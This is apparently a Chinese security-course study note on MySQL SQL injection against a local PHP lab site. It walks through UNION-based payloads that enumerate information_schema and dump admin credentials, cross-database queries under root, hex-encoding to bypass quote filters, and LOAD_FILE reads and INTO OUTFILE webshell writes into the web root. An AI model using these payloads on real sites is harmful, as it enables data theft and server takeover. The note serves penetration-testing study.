目录

第42天WEB攻防-PHP应用MYSQL架构SQL注入跨库查询文件读写权限操作

第42天:WEB攻防-PHP应用&MYSQL架构&SQL注入&跨库查询&文件读写&权限操作

时间轴:

https://i-blog.csdnimg.cn/direct/2c85979478e9417f9a143bea472a13a0.jpeg

42天知识点总结:

1.root用户与用户A,用户B对数据库的管理区别

2.获取相关数据:

1、数据库版本-看是否符合information_schema查询-version()

2、数据库用户-看是否符合ROOT型注入攻击-user()

3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os

4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()

3.infomation_schema的介绍及如何查询。

4.如何一步一步获取数据

5.进行root的跨库查询,且单引号16进制绕过方法。

6.文件写入1.root ,2.secure_file_priv=

MYSQL注入:(目的获取当前web权限)

1、判断常见四个信息(系统,用户,数据库名,版本)

2、根据四个信息去选择方案

  • root用户: 先测试读写,后测试获取数据
  • 非root用户: 直接测试获取数据

知识点:

1、PHP-MYSQL-SQL注入-常规查询

2、PHP-MYSQL-SQL注入-跨库查询

3、PHP-MYSQL-SQL注入-文件读写

演示案例:

PHP-MYSQL-Web 组成架构

PHP-MYSQL-SQL 常规查询

PHP-MYSQL-SQL 跨库查询

PHP-MYSQL-SQL 文件读写

PHP-MYSQL-Web 组成架构

服务器安装

MYSQL

数据库,搭建多个站点,数据库集中存储

MYSQL

数据库中管理

可以都使用

root

用户管理也可以创建多个用户进行每个网站对应的数据库管理

1

、统一交

root

用户管理

= zblog = root =>MYSQL

= demo01 = root =>MYSQL

2

、一对一用户管理(推荐)

= zblog = zblog =>MYSQL

= demo01 = demo01 =>MYSQL

首先进行网站搭建:

1.将网站放入demo01放入phpstudy中然后使用phpstorm打开。

1、连接数据库

2、创建数据库(demo01)

3、选择数据库demo01导入sql执行

如不是数据库名demo01,需修改config.php文件里面的配置的数据库名信息

1.root用户与用户A,用户B对数据库的管理区别

https://i-blog.csdnimg.cn/direct/78982f8ea7534611846ba48c52ca233b.png

对于root用户:

root一个人管所有。

对于非root用户:

一人管一个。

对比:

https://i-blog.csdnimg.cn/direct/c886317cc23543548daf0d8625b69e55.png

demo0521只能看到自己,而root都可以看到。

https://i-blog.csdnimg.cn/direct/aa7ae516f2fd4204b7483e8ad1c46081.png

PHP-MYSQL-SQL常规查询

1.SQL注人的概念

原理:接受的参数值 未进行过滤 直接带入SQL查询的操作

攻击: 利用SQL语句执行你想要的东西 (SQL语句能干嘛,注人就能干嘛)

SQL语句能干嘛⇒SQL语句由谁决定⇒数据库类型决定〈为什么mysql注入。oracle注人叫法原因)

https://i-blog.csdnimg.cn/direct/f7da749686624d2b98e6bd438bc697fb.png

access注入与mysql的区别:

https://i-blog.csdnimg.cn/direct/61bc2700c1e64d3ea644d2ea937c77d9.png

2.SQL注人的流程介绍:

获取相关数据:

1、数据库版本-看是否符合information_schema查询-version()

2、数据库用户-看是否符合ROOT型注入攻击-user()

3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os

4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()

infomation_schema介绍:

information_schema :存储数据库下的数据库名及表名,列名信息的数据库

information_schema.schemata :记录数据库名信息的表

information_schema.tables :记录表名信息的表

information_schema.columns :记录列名信息表

schema_name :information_schema.schemata 记录数据库名信息的列名值

table_schema :information_schema.tables 记录数据库名的列名值

table_name :information_schema.tables记录 表名的列名值

column_name :information_schema.columns 记录列名的列名值

解释:

原数据库数据(相对应):

https://i-blog.csdnimg.cn/direct/6b1ad8b51fa44f498701b0f9f17c28c5.png

https://i-blog.csdnimg.cn/direct/6f61e39894624ff795b3659887680124.png

information_schema.schemata :记录数据库名信息的表

https://i-blog.csdnimg.cn/direct/b852ff52ca3b4f4ca016244645e38c9b.png

https://i-blog.csdnimg.cn/direct/211e5c8843a3458097969678797620d4.png

information_schema.schemata

中的.意思是在

information_schema

下面查找

schemata

举例:(.的意思)

我要搜索的是root下面的wolive_admin的表。

https://i-blog.csdnimg.cn/direct/5338a1b8649849bf8c7717bc7efb2d0a.png

使用查询语句:

https://i-blog.csdnimg.cn/direct/5af4184d61d34b648da1adaf11a53d45.png

会显示在demo01下查询不到表(因为他们不在一个目录下)。

若加上root.就会成功。

https://i-blog.csdnimg.cn/direct/78276c88e2c746d68139a80d5f1dc8b7.png

information_schema.tables :记录表名信息的表

https://i-blog.csdnimg.cn/direct/f3f6f7464e6e49ccbe2c9f88dee2197a.png

information_schema.columns :记录列名信息表

https://i-blog.csdnimg.cn/direct/44f73c49209b4f9cb85909e2a8932607.png

3.SQL注人的流程:获取数据→一步一步得到信息

`1.

order by 6` :这是一个排序语句,指示按照 第6列进行排序

  1. 实战中,需要进行判断注入的列名有几个。
  2. 有的话页面正常执行
  3. 没有即会报错
  4. 如: 该表存在6列,输入7后会报错

order by 6 会正常显示:

https://i-blog.csdnimg.cn/direct/ebe874b76932434cab6eca4341a7f939.png

order by 7 会报错:

https://i-blog.csdnimg.cn/direct/a43dad262d0f41d786099f5e939b0a0c.png

数据正好也只有6列:

https://i-blog.csdnimg.cn/direct/5e3bbd8a9ff2434c98427973f6ea0bfb.png

证明有6列。

也可以使用网上插件。

https://i-blog.csdnimg.cn/direct/65053731d2e24269801c892dc0b5dc8e.png

union select 1,2,3,4,5,6 :这是一个UNION查询,用于将多个SELECT语句的结果合并在一起。在这个例子中,它选择了6个列,每个SELECT语句都返回常量值。

  1. 发现执行后回显的数据:分别出现在网页署名(2),正标题(3),副标题(4),次标题(5)
  2. 如果没有回显数据,则在查询id加入负号即可http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,4,5,6(使其进行报错)
  3. 查找回显的作用:可以判断后期注入查询返回的数据,可以在页面中显示出来;

https://i-blog.csdnimg.cn/direct/463e3de3b69b4fbca0f4c8dd9f9a8bd1.png

union select 1,2,3,database(),user(),6 :这个UNION查询选择了6个列,并在 第4列返回数据库名称第5列返回当前用户 ,其他列返回常量值。

https://i-blog.csdnimg.cn/direct/e66f5a43c23d49f794ab27e545fe7826.png

union select 1,2,3,version(),@@version_compile_os,6 :这个UNION查询选择了6个列, 并在第4列返回数据库版本第5列返回操作系统信息 ,其他列返回常量值。

  1. 返回 数据库版本 原因:MYSQL5.0以上版本:自带的数据库名information_schema( 只有5.0以上的版本才可以实行下一步查询
  2. 返回 操作系统信息 原因:如果 是Linux系统 对于后面的查询信息, 大小写特定敏感

https://i-blog.csdnimg.cn/direct/ea4508e8adc647ad8d9cd65b7748b4a3.png

已找到数据库demo01

https://i-blog.csdnimg.cn/direct/1c045ac0a683474ab20cc59b8511e4dd.png

union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema=‘demo01’ :这个UNION查询选择了6个列,并从information_schema.tables表中返回指定数据库(demo01)中的所有表名的组合字符串。

https://i-blog.csdnimg.cn/direct/a4e6ac3793964df6bece719dce424a26.png

  1. information_schema.tables表 记录表名信息的表
  2. table_schema :information_schema.tables记录** 数据库名的列名值 **
  3. table_name :information_schema.tables记录** 表名的列名值 **
  4. group_concat()是全部查询出来

实质上就是获取demo01下的这三个值:

https://i-blog.csdnimg.cn/direct/7d6010992b2c49698c609055dfcdabe8.png

https://i-blog.csdnimg.cn/direct/93c837586c9f4f8182cb87c5ad1977ea.png

union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_schema=‘demo01’ and table_name=‘admin’ :这个UNION查询选择了6个列,并从information_schema.columns表中返回指定表(admin)中的所有列名的组合字符串。

https://i-blog.csdnimg.cn/direct/9384a11ae2e64fcd9fa994eb568b70d8.png

  1. information_schema.columns 记录列名信息表
  2. table_name :information_schema.tables记录** 表名的列名值 **
  3. column_name: information_schema.columns **记录列名的列名值**

https://i-blog.csdnimg.cn/direct/33644fa48c8f470b9b6cce74e9504e86.png

https://i-blog.csdnimg.cn/direct/e4c0ba034b164f8da4a1fac4febe5f3a.png

union select 1,2,3,username,password,6 from admin limit 0,1 :这个UNION查询选择了6个列,并从 admin表中返回第一行记录的用户名和密码。

  1. limit 0,1代表是查询第一条。
  2. limit 0,2代表是查询第二条。

若没显示可以用id=-1来使其报错显示。

http://172.20.10.6/new.php?id=-1 union select 1,2,3,username,password,6 from admin limit 0,1

https://i-blog.csdnimg.cn/direct/de71b4e3a7fa499d8c6c9b82d10a5ad2.png

http://172.20.10.6/new.php?id=-1 union select 1,2,3,username,password,6 from admin limit 0,2

https://i-blog.csdnimg.cn/direct/c3ae651ca4194ef890c49c346b69ce5e.png

也可以是使用

http://172.20.10.6/new.php?id=-1 union select 1,2,3,username,password,6 from admin where id =1

对应以下数据:

https://i-blog.csdnimg.cn/direct/96a969df2a15465598cf3ac1d84fc288.png

[【SQL注入]limit的基础运用_limit注入-CSDN博客]( “【SQL注入]limit的基础运用_limit注入-CSDN博客”) 】

PHP-MYSQL-SQL跨库查询

https://i-blog.csdnimg.cn/direct/6cd189f6fe894e6f93105500e2a9b47b.png

影响条件: 当前数据库ROOT用户权限

1.先查看是否是root:

https://i-blog.csdnimg.cn/direct/db87798a93894078b831e8dff3e97ee4.png

2.跨库查询顺序

1

.union select 1,2,3,4,group_concat(schema_name),6 from information_schema.schemata:

通过

information_schema.schemata 表获取所有数据库的名称,并将这些名称连接成一个字符串。

https://i-blog.csdnimg.cn/direct/7afa3415cbe54f9c885537ab85f83b58.png

https://i-blog.csdnimg.cn/direct/a555f5803fa94813820a81792ae17a8c.png

union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema=‘zblog’
通过 information_schema.tables 表获取 ‘zblog’ 数据库中所有表的名称,并将这些名称连接成一个字符串。

https://i-blog.csdnimg.cn/direct/169097e328c04e7a93b5adfbc04d97c0.png

union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name=‘zbp_member’ and table_schema=‘zblog’
通过 information_schema.columns 表获取 ‘zblog’ 数据库中 ‘zbp_member’ 表的所有列名,并将这些列名连接成一个字符串。

https://i-blog.csdnimg.cn/direct/dafc09ee5650426fbad9d5854b3ca721.png

union select 1,2,3,mem_Name,mem_Password,6 from zblog.zbp_member
尝试从 ‘zblog’ 数据库的 ‘zbp_member’ 表中选择 mem_Name 和 mem_Password 列的数据,限制结果集为一个行。

记住使用.来进行跨库查询

https://i-blog.csdnimg.cn/direct/d274433319f34e33a4264bf086f13840.png

3.注意事项

注意: 由于是跨库操作,在此刻必须指明是哪个数据库的表名

  1. from zblog.zbp_member :
  2. 不然会进行 报错
  3. 表示 mysqli_query 返回的结果不是有效的 mysqli_result 对象,而是布尔值 false ,可能是由于 SQL 查询执行失败。
  4. https://i-blog.csdnimg.cn/direct/65826537c3424bdbbb9246443ba28500.png

必须数据库权限是ROOT用户权限→才可以进行跨库:

root权限:

https://i-blog.csdnimg.cn/direct/f00f66e3b60a4c6d86c43be1bdcc5cfd.png

普通权限: https://i-blog.csdnimg.cn/direct/72c93f70a90b42e084a699b94d49fabf.png

单引号过滤绕过方式:

可以使用单引号绕过warf等。

SQL注入语句使用单引号就不要编码,编码就不用单引号(路径,表名,数据库名等)注意:在编码后执行SQL注入时候要在编码前加0x

当在编码后执行SQL注入时,如果要将编码后的Payload作为十六进制值直接传递给SQL语句,需要在编码前添加0x前缀。这是因为在许多DBMS中, 0x 前缀用于指示后续的字符串是十六进制值。

Hex编码(十六进制编码)是一种将数据转换为十六进制数字表示的编码方式。这种编码方式广泛用于表示二进制数据,例如在网络通信、编码传输、调试和数据存储中。

使用软件:CaptfEncoder:

举例:

union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema=‘zblog’ 可以改为

union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema=0x7a626c6f67

https://i-blog.csdnimg.cn/direct/0b47f05d58ef4ee4bc3ac2f23307d0c8.png

https://i-blog.csdnimg.cn/direct/29faaec81bb3464c9d69fa28f8aea4dd.png

PHP-MYSQL-SQL文件读写:

https://i-blog.csdnimg.cn/direct/15b2fdd40fbe4e10afb368fbae3bdd2a.png

条件1:

在root里面: https://i-blog.csdnimg.cn/direct/9c383e813ed3433d944400636b8c3e57.png

在普通用户下:

https://i-blog.csdnimg.cn/direct/b1691b5cfcc948b49f7caaca1ad89efa.png

条件2:

secure_file_priv=  这个存在

https://i-blog.csdnimg.cn/direct/93e695353a294b8ca28a4dace80d58fd.png

secure_file_priv 是 MySQL 数据库中的一个系统变量,用于限制使用 LOAD DATA INFILE 和 SELECT … INTO OUTFILE 语句时可以读取和写入的文件的路径。这个变量通常用于提高数据库的安全性,防止用户滥用这些语句导致的文件系统访问。

如果设置了这个变量,MySQL 将仅允许在指定的路径下进行文件的读取和写入操作。

如果没有设置,MySQL 将默认使用空值,表示都可以查询使用。

例如,如果

secure_file_priv 被设置为 f:\,那么在执行 LOAD DATA INFILE 或 SELECT … INTO OUTFILE 时,只允许读写位于 f:\ 目录下的文件。

https://i-blog.csdnimg.cn/direct/6cbd23b5ef0742f6bcfe15d059d810de.png

演示:

1.将1.txt信息获取出来

http://172.20.10.6/new.php?id=1 union select 1,2,3,LOAD_FILE(“d:\1.txt”),5,6

union select 1,2,3,LOAD_FILE(“d:\1.txt”),5,6

使用此语句将1.txt读取出来

load_file

函数 加载本地文件 ‘d:\1.txt’ 的内容 ,并将其作为查询结果的一部分返回。

https://i-blog.csdnimg.cn/direct/c28e72161d054c2b8c008bfefde852c2.png

2.如何获取权限:

http://172.20.10.6/new.php?id=1 union select 1,2,3,’’,5,6 into outfile ‘E:\phpstudy\phpstudy_pro\WWW\demo01\1.php’

其中将

union select 1,2,3,’’,5,6 into outfile ‘E:\phpstudy\phpstudy_pro\WWW\demo01\1.php’

从中将一句话放入文件当中

https://i-blog.csdnimg.cn/direct/0cca1d466658426bae815e16ffae1e4a.png

如何获取读取路径呢?

https://i-blog.csdnimg.cn/direct/8fd3a47cea2346f98d2816e1d7b6e145.png

1.通常中间件这些由文件:(读敏感文件)

E:\phpstudy\phpstudy_pro\Extensions\Apache2.4.39\conf\vhosts

https://i-blog.csdnimg.cn/direct/ee59ee9a7dac4dca8a901e278225d142.png

https://i-blog.csdnimg.cn/direct/7f8cabeb39c54ee480a50f8e20e16828.png

2、报错显示获取路径,容错显示。

https://i-blog.csdnimg.cn/direct/4b57180ab323488ab9712b65783c5a66.png

3、 phpinfo页面泄漏

https://i-blog.csdnimg.cn/direct/5850e449209842b691286297fbc23321.png

https://i-blog.csdnimg.cn/direct/d37ded1b203d4d67a99a9fec2a36b167.png

如果不知道路径思路:

用常见的默认的中间件,数据库等安装路径读取有价值信息

load_file()常用路径:

本文章借用思路:

本文章由李豆豆喵和番薯小羊卷共同完成。